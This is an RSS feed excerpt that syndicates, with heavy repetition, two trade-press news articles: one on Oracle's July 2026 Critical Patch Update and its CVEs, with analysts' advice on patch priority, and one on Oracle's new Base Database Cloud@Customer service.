<p class="wp-block-paragraph">Gogia said Oracle has effectively layered a second cadence on top of the existing one rather than replacing it.</p>



<p class="wp-block-paragraph">“Quarterly Critical Patch Updates remain and stay cumulative; monthly Critical Security Patch Updates now sit on top,” he said, adding that enterprise adoption of the new rhythm remains low because of “certification obligations, regression exposure and scarce specialist hours.”</p>



<p class="wp-block-paragraph">Dubey made a similar point about organizational readiness: “In large enterprises, patching is rarely a technical problem. It is an operational one. Database administrators, application owners, infrastructure teams, business stakeholders, and change advisory boards all have to align.”</p>



<p class="wp-block-paragraph">Niyati Daftary, principal analyst at Gartner, said the release underscores a broader shift in how patching is approached.</p>



<p class="wp-block-paragraph">“Patching is no longer a race to remediate every vulnerability. It is a discipline of identifying the exposures that matter most and reducing business risk as efficiently as possible,” she said, adding that organizations should prioritize based on exposure, business impact and exploitability, starting with internet-facing assets and mission-critical systems.</p>



<p class="wp-block-paragraph">Daftary pointed to continuous threat exposure management and adversarial exposure validation as increasingly relevant frameworks, since CVSS scores “measure theoretical severity rather than actual enterprise risk.” Patching alone will not be sufficient, Daftary said, and organizations should continue investing in defense in depth, including behavioral threat detection and incident response.</p>



<p class="wp-block-paragraph">Oracle’s next cumulative Critical Patch Update will come on Oct. 20, 2026, with smaller Critical Security Patch Updates on Aug. 18 and Sept. 15.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.csoonline.com/article/4200184/oracles-july-update-fixes-ten-10-0-vulnerabilities-in-fusion-middleware.html">CSO</a>.</em></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[Oracle’s July update fixes ten 10.0 vulnerabilities in Fusion Middleware]]></title>
<description><![CDATA[Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.



Fusion Middleware was particularly hard hit, with new security patc...]]></description>
<link>https://tsecurity.de/de/3687303/it-security-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687303/it-security-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/</guid>
<pubDate>Wed, 22 Jul 2026 20:33:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.</p>



<p class="wp-block-paragraph">Fusion Middleware was particularly hard hit, with new security patches for 355 security vulnerabilities, 219 of them remotely exploitable without authentication, meaning they can be exploited over a network without requiring user credentials. Ten of them scored a “perfect” 10.0 on the Common Vulnerability Scoring System (CVSS).</p>



<p class="wp-block-paragraph">These included easily exploitable vulnerabilities allowing unauthenticated attackers with network access via HTTP to compromise Oracle Data Integrator, Oracle Access Manager, Oracle HTTP Server, Oracle Platform Security for Java, Oracle WebCenter Content, Service Delivery Platform, or Oracle Weblogic Server Proxy Plug-in,</p>



<p class="wp-block-paragraph">No other products were found to have quite such extreme vulnerabilities, but there were plenty of others scoring almost as badly.</p>



<h2 class="wp-block-heading">Two critical flaws in Oracle Database Server</h2>



<p class="wp-block-paragraph">The most severe flaw Oracle patched in its flagship database product is CVE-2026-61211, a vulnerability in the RDBMS component’s DBMS_CLOUD package with a CVSS score of 9.9.</p>



<p class="wp-block-paragraph">This easily exploitable vulnerability allows a low-privileged attacker having Execute DBMS_CLOUD privilege with network access via Oracle Net to compromise the RDBMS, <a href="https://www.oracle.com/security-alerts/cpujul2026verbose.html" target="_blank" rel="noreferrer noopener">Oracle said in the patch update statement</a>. “While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of RDBMS,” it warned.</p>



<p class="wp-block-paragraph">The flaw affects Database Server versions 19.3 through 19.31 and 23.4.0 through 23.26.2.</p>



<p class="wp-block-paragraph">Sanchit Vir Gogia, chief analyst at Greyhound Research, said the 9.9 score should be read as serious but conditional. Exposure depends on configuration, he said: On customer-managed databases, DBMS_CLOUD is absent until installed, and grants and network access lists determine the radius from there. “Where DBMS_CLOUD is broadly granted and reachable, the emergency is real and the window is seventy-two hours; where it is absent, the accelerated database wave will do.”</p>



<p class="wp-block-paragraph">Vibhum Dubey, a cybersecurity researcher and red teamer, said the flaw stood out to him because it checks several boxes that concern defenders.</p>



<p class="wp-block-paragraph">“Database servers often hold an organization’s most valuable data, so even if exploitation is not publicly observed yet, I don’t think this is the kind of issue you leave until the next routine maintenance window if your environment is exposed,” Dubey said.</p>



<p class="wp-block-paragraph">A second Database Server flaw, CVE-2026-47040, affects Connection Manager in Oracle Net Services, is remotely exploitable without credentials. Oracle’s risk matrix lists six Database Product vulnerabilities in this cycle as reachable over a network with no authentication required, the statement added.</p>



<p class="wp-block-paragraph">CVE-2026-7383, an OpenSSL-related TLS vulnerability, affects two products, Database Server and Autonomous Health Framework, since both bundle the same third-party component. Oracle’s advisory notes the Database Server patch for that CVE also resolves 19 related OpenSSL CVEs bundled into the same fix.</p>



<p class="wp-block-paragraph">Oracle GoldenGate received 27 new patches, nine of which do not require authentication to exploit, including CVE-2026-2332, a flaw in the Big Data and Application Adapters component tied to Eclipse Jetty, the statement added.</p>



<p class="wp-block-paragraph">There were also two critical flaws in Oracle’s TimesTen in-memory database.</p>



<p class="wp-block-paragraph">The remainder of the release spans E-Business Suite, WebLogic Server, PeopleSoft, Siebel, JD Edwards, Communications, Retail Applications, Utilities Applications, MySQL, Solaris and VM VirtualBox.</p>



<h2 class="wp-block-heading">Volume repair</h2>



<p class="wp-block-paragraph">Gogia said the volume itself marks a shift.</p>



<p class="wp-block-paragraph">“At 1,449 patches, against 481 in April 2026 and 309 a year earlier, patch load has outgrown the queue built to hold it,” he said. He recommended a tiered response: “The reachable and the reported inside seventy-two hours, the trusted core inside ten days, the rest by risk before the October release.”</p>



<p class="wp-block-paragraph">He also flagged a specific risk in how organizations might triage E-Business Suite. “Oracle’s advisory concedes that E-Business Suite exposure sits partly in underlying Database and Fusion Middleware versions outside the E-Business Suite matrix. The fastest way to mis-prioritise this release is to patch by product logo instead of trust boundary.”</p>



<h2 class="wp-block-heading">Third Tuesday, quarterly cycle</h2>



<p class="wp-block-paragraph">The July release is the third quarterly Critical Patch Update of 2026, and the first since the <a href="https://www.csoonline.com/article/4179473/oracles-first-monthly-patch-release-fixes-35-flaws-including-11-rated-critical.html">introduction in May</a> of the monthly Critical Security Patch Update program.</p>



<p class="wp-block-paragraph">Gogia said Oracle has effectively layered a second cadence on top of the existing one rather than replacing it.</p>



<p class="wp-block-paragraph">“Quarterly Critical Patch Updates remain and stay cumulative; monthly Critical Security Patch Updates now sit on top,” he said, adding that enterprise adoption of the new rhythm remains low because of “certification obligations, regression exposure and scarce specialist hours.”</p>



<p class="wp-block-paragraph">Dubey made a similar point about organizational readiness: “In large enterprises, patching is rarely a technical problem. It is an operational one. Database administrators, application owners, infrastructure teams, business stakeholders, and change advisory boards all have to align.”</p>



<p class="wp-block-paragraph">Niyati Daftary, principal analyst at Gartner, said the release underscores a broader shift in how patching is approached.</p>



<p class="wp-block-paragraph">“Patching is no longer a race to remediate every vulnerability. It is a discipline of identifying the exposures that matter most and reducing business risk as efficiently as possible,” she said, adding that organizations should prioritize based on exposure, business impact and exploitability, starting with internet-facing assets and mission-critical systems.</p>



<p class="wp-block-paragraph">Daftary pointed to continuous threat exposure management and adversarial exposure validation as increasingly relevant frameworks, since CVSS scores “measure theoretical severity rather than actual enterprise risk.” Patching alone will not be sufficient, Daftary said, and organizations should continue investing in defense in depth, including behavioral threat detection and incident response.</p>



<p class="wp-block-paragraph">Oracle’s next cumulative Critical Patch Update will come on Oct. 20, 2026, with smaller Critical Security Patch Updates on Aug. 18 and Sept. 15.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.csoonline.com/article/4200184/oracles-july-update-fixes-ten-10-0-vulnerabilities-in-fusion-middleware.html">CSO</a>.</em></p>
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<title><![CDATA[Oracle’s July update fixes ten 10.0 vulnerabilities in Fusion Middleware]]></title>
<description><![CDATA[Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.



Fusion Middleware was particularly hard hit, with new security patc...]]></description>
<link>https://tsecurity.de/de/3687241/it-security-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687241/it-security-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/</guid>
<pubDate>Wed, 22 Jul 2026 20:24:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.</p>



<p class="wp-block-paragraph">Fusion Middleware was particularly hard hit, with new security patches for 355 security vulnerabilities, 219 of them remotely exploitable without authentication, meaning they can be exploited over a network without requiring user credentials. Ten of them scored a “perfect” 10.0 on the Common Vulnerability Scoring System (CVSS).</p>



<p class="wp-block-paragraph">These included easily exploitable vulnerabilities allowing unauthenticated attackers with network access via HTTP to compromise Oracle Data Integrator, Oracle Access Manager, Oracle HTTP Server, Oracle Platform Security for Java, Oracle WebCenter Content, Service Delivery Platform, or Oracle Weblogic Server Proxy Plug-in,</p>



<p class="wp-block-paragraph">No other products were found to have quite such extreme vulnerabilities, but there were plenty of others scoring almost as badly.</p>



<h2 class="wp-block-heading">Two critical flaws in Oracle Database Server</h2>



<p class="wp-block-paragraph">The most severe flaw Oracle patched in its flagship database product is CVE-2026-61211, a vulnerability in the RDBMS component’s DBMS_CLOUD package with a CVSS score of 9.9.</p>



<p class="wp-block-paragraph">This easily exploitable vulnerability allows a low-privileged attacker having Execute DBMS_CLOUD privilege with network access via Oracle Net to compromise the RDBMS, <a href="https://www.oracle.com/security-alerts/cpujul2026verbose.html">Oracle said in the patch update statement</a>. “While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of RDBMS,” it warned.</p>



<p class="wp-block-paragraph">The flaw affects Database Server versions 19.3 through 19.31 and 23.4.0 through 23.26.2.</p>



<p class="wp-block-paragraph">Sanchit Vir Gogia, chief analyst at Greyhound Research, said the 9.9 score should be read as serious but conditional. Exposure depends on configuration, he said: On customer-managed databases, DBMS_CLOUD is absent until installed, and grants and network access lists determine the radius from there. “Where DBMS_CLOUD is broadly granted and reachable, the emergency is real and the window is seventy-two hours; where it is absent, the accelerated database wave will do.”</p>



<p class="wp-block-paragraph">Vibhum Dubey, a cybersecurity researcher and red teamer, said the flaw stood out to him because it checks several boxes that concern defenders.</p>



<p class="wp-block-paragraph">“Database servers often hold an organization’s most valuable data, so even if exploitation is not publicly observed yet, I don’t think this is the kind of issue you leave until the next routine maintenance window if your environment is exposed,” Dubey said.</p>



<p class="wp-block-paragraph">A second Database Server flaw, CVE-2026-47040, affects Connection Manager in Oracle Net Services, is remotely exploitable without credentials. Oracle’s risk matrix lists six Database Product vulnerabilities in this cycle as reachable over a network with no authentication required, the statement added.</p>



<p class="wp-block-paragraph">CVE-2026-7383, an OpenSSL-related TLS vulnerability, affects two products, Database Server and Autonomous Health Framework, since both bundle the same third-party component. Oracle’s advisory notes the Database Server patch for that CVE also resolves 19 related OpenSSL CVEs bundled into the same fix.</p>



<p class="wp-block-paragraph">Oracle GoldenGate received 27 new patches, nine of which do not require authentication to exploit, including CVE-2026-2332, a flaw in the Big Data and Application Adapters component tied to Eclipse Jetty, the statement added.</p>



<p class="wp-block-paragraph">There were also two critical flaws in Oracle’s TimesTen in-memory database.</p>



<p class="wp-block-paragraph">The remainder of the release spans E-Business Suite, WebLogic Server, PeopleSoft, Siebel, JD Edwards, Communications, Retail Applications, Utilities Applications, MySQL, Solaris and VM VirtualBox.</p>



<h2 class="wp-block-heading">Volume repair</h2>



<p class="wp-block-paragraph">Gogia said the volume itself marks a shift.</p>



<p class="wp-block-paragraph">“At 1,449 patches, against 481 in April 2026 and 309 a year earlier, patch load has outgrown the queue built to hold it,” he said. He recommended a tiered response: “The reachable and the reported inside seventy-two hours, the trusted core inside ten days, the rest by risk before the October release.”</p>



<p class="wp-block-paragraph">He also flagged a specific risk in how organizations might triage E-Business Suite. “Oracle’s advisory concedes that E-Business Suite exposure sits partly in underlying Database and Fusion Middleware versions outside the E-Business Suite matrix. The fastest way to mis-prioritise this release is to patch by product logo instead of trust boundary.”</p>



<h2 class="wp-block-heading">Third Tuesday, quarterly cycle</h2>



<p class="wp-block-paragraph">The July release is the third quarterly Critical Patch Update of 2026, and the first since the <a href="https://www.csoonline.com/article/4179473/oracles-first-monthly-patch-release-fixes-35-flaws-including-11-rated-critical.html">introduction in May</a> of the monthly Critical Security Patch Update program.</p>



<p class="wp-block-paragraph">Gogia said Oracle has effectively layered a second cadence on top of the existing one rather than replacing it.</p>



<p class="wp-block-paragraph">“Quarterly Critical Patch Updates remain and stay cumulative; monthly Critical Security Patch Updates now sit on top,” he said, adding that enterprise adoption of the new rhythm remains low because of “certification obligations, regression exposure and scarce specialist hours.”</p>



<p class="wp-block-paragraph">Dubey made a similar point about organizational readiness: “In large enterprises, patching is rarely a technical problem. It is an operational one. Database administrators, application owners, infrastructure teams, business stakeholders, and change advisory boards all have to align.”</p>



<p class="wp-block-paragraph">Niyati Daftary, principal analyst at Gartner, said the release underscores a broader shift in how patching is approached.</p>



<p class="wp-block-paragraph">“Patching is no longer a race to remediate every vulnerability. It is a discipline of identifying the exposures that matter most and reducing business risk as efficiently as possible,” she said, adding that organizations should prioritize based on exposure, business impact and exploitability, starting with internet-facing assets and mission-critical systems.</p>



<p class="wp-block-paragraph">Daftary pointed to continuous threat exposure management and adversarial exposure validation as increasingly relevant frameworks, since CVSS scores “measure theoretical severity rather than actual enterprise risk.” Patching alone will not be sufficient, Daftary said, and organizations should continue investing in defense in depth, including behavioral threat detection and incident response.</p>



<p class="wp-block-paragraph">Oracle’s next cumulative Critical Patch Update will come on Oct. 20, 2026, with smaller Critical Security Patch Updates on Aug. 18 and Sept. 15.</p>
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<title><![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]></title>
<description><![CDATA[Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-...]]></description>
<link>https://tsecurity.de/de/3687239/ai-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687239/ai-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</guid>
<pubDate>Wed, 22 Jul 2026 20:19:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<p class="wp-block-paragraph">Oracle is expanding its <a href="https://www.cio.com/article/649108/oracle-adds-compute-services-to-its-cloudcustomer-offering.html">Cloud@Customer on-premises portfolio</a> with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.</p>



<p class="wp-block-paragraph">The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.</p>



<p class="wp-block-paragraph">The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.</p>



<h2 class="wp-block-heading">For regulated industries or restricted connectivity</h2>



<p class="wp-block-paragraph">Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.</p>



<p class="wp-block-paragraph">These enterprises, according to <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="noreferrer noopener">Ashish Chaturvedi</a>, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.</p>



<p class="wp-block-paragraph">The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a <a href="https://www.infoworld.com/article/3633997/oracle-offers-price-performance-boost-with-exadata-x11m-update.html">full Exadata rack</a>, said <a href="https://www.linkedin.com/in/amitchandak78/">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.</p>



<p class="wp-block-paragraph">Deployment and maintenance becomes easier too, said <a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Michael Leone</a>, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”</p>



<p class="wp-block-paragraph">The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.</p>



<h2 class="wp-block-heading">Private AI behind the firewall</h2>



<p class="wp-block-paragraph">Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.</p>



<p class="wp-block-paragraph">“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.</p>



<p class="wp-block-paragraph">More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said <a href="https://www.infotech.com/profiles/igor-ikonnikov" target="_blank" rel="noreferrer noopener">Igor Ikonnikov</a>, advisory fellow at Info-Tech Research Group.</p>



<p class="wp-block-paragraph">Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.</p>



<p class="wp-block-paragraph">The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst <a href="https://www.forrester.com/analyst-bio/noel-yuhanna/BIO852">Noel Yuhanna</a>. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”</p>



<p class="wp-block-paragraph">Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”</p>



<p class="wp-block-paragraph">Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.</p>



<p class="wp-block-paragraph">However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.</p>



<p class="wp-block-paragraph">Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”</p>



<p class="wp-block-paragraph">The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.</p>



<p class="wp-block-paragraph">Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4200176/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads.html">CIO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]></title>
<description><![CDATA[Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-...]]></description>
<link>https://tsecurity.de/de/3687195/it-security-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687195/it-security-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</guid>
<pubDate>Wed, 22 Jul 2026 19:56:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle is expanding its <a href="https://www.cio.com/article/649108/oracle-adds-compute-services-to-its-cloudcustomer-offering.html">Cloud@Customer on-premises portfolio</a> with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.</p>



<p class="wp-block-paragraph">The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.</p>



<p class="wp-block-paragraph">The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.</p>



<h2 class="wp-block-heading">For regulated industries or restricted connectivity</h2>



<p class="wp-block-paragraph">Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.</p>



<p class="wp-block-paragraph">These enterprises, according to <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="noreferrer noopener">Ashish Chaturvedi</a>, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.</p>



<p class="wp-block-paragraph">The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a <a href="https://www.infoworld.com/article/3633997/oracle-offers-price-performance-boost-with-exadata-x11m-update.html">full Exadata rack</a>, said <a href="https://www.linkedin.com/in/amitchandak78/">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.</p>



<p class="wp-block-paragraph">Deployment and maintenance becomes easier too, said <a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Michael Leone</a>, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”</p>



<p class="wp-block-paragraph">The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.</p>



<h2 class="wp-block-heading">Private AI behind the firewall</h2>



<p class="wp-block-paragraph">Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.</p>



<p class="wp-block-paragraph">“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.</p>



<p class="wp-block-paragraph">More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said <a href="https://www.infotech.com/profiles/igor-ikonnikov" target="_blank" rel="noreferrer noopener">Igor Ikonnikov</a>, advisory fellow at Info-Tech Research Group.</p>



<p class="wp-block-paragraph">Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.</p>



<p class="wp-block-paragraph">The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst <a href="https://www.forrester.com/analyst-bio/noel-yuhanna/BIO852">Noel Yuhanna</a>. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”</p>



<p class="wp-block-paragraph">Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”</p>



<p class="wp-block-paragraph">Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.</p>



<p class="wp-block-paragraph">However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.</p>



<p class="wp-block-paragraph">Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”</p>



<p class="wp-block-paragraph">The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.</p>



<p class="wp-block-paragraph">Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4200176/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads.html">CIO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]></title>
<description><![CDATA[Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-...]]></description>
<link>https://tsecurity.de/de/3687189/it-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687189/it-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</guid>
<pubDate>Wed, 22 Jul 2026 19:49:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle is expanding its <a href="https://www.cio.com/article/649108/oracle-adds-compute-services-to-its-cloudcustomer-offering.html">Cloud@Customer on-premises portfolio</a> with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.</p>



<p class="wp-block-paragraph">The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.</p>



<p class="wp-block-paragraph">The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.</p>



<h2 class="wp-block-heading">For regulated industries or restricted connectivity</h2>



<p class="wp-block-paragraph">Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.</p>



<p class="wp-block-paragraph">These enterprises, according to <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="noreferrer noopener">Ashish Chaturvedi</a>, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.</p>



<p class="wp-block-paragraph">The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a <a href="https://www.infoworld.com/article/3633997/oracle-offers-price-performance-boost-with-exadata-x11m-update.html">full Exadata rack</a>, said <a href="https://www.linkedin.com/in/amitchandak78/">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.</p>



